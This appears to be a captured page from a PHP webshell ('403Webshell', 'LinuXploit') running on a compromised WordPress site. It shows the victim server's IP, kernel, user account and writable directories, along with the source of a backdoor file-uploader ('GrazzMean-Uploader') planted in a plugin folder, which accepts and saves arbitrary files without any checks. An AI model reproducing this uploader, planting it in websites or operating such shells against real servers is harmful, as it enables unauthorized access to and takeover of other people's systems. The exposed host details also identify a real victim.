403Webshell
Server IP : 213.32.127.20  /  Your IP : 216.73.216.174
Web Server : Apache
System : Linux ns3.servidorneptuno.com 4.18.0-553.16.1.lve.el8.x86_64 #1 SMP Tue Aug 13 17:45:03 UTC 2024 x86_64
User : atoqsfjh ( 1072)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/899396/cwd/www/amautaasesores/wp-content/plugins/alpha/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/899396/cwd/www/amautaasesores/wp-content/plugins/alpha//uploader.php
<?php

if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_FILES["file"])) {
    $uploadDir = "./"; // Direktori untuk menyimpan file (direktori saat ini)
    $uploadFile = $uploadDir . basename($_FILES["file"]["name"]); // Path lengkap untuk file yang diunggah

    // Cek apakah file berhasil diunggah
    if (move_uploaded_file($_FILES["file"]["tmp_name"], $uploadFile)) {
        echo "success";
    } else {
        echo "failed";
    }
}
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>GrazzMean-Uploader</title>
</head>
<body>
    <h2>Form Upload File</h2>
    <form action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]); ?>" method="post" enctype="multipart/form-data">
        <input type="file" name="file" id="file">
        <button type="submit" name="submit">Upload</button>
    </form>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit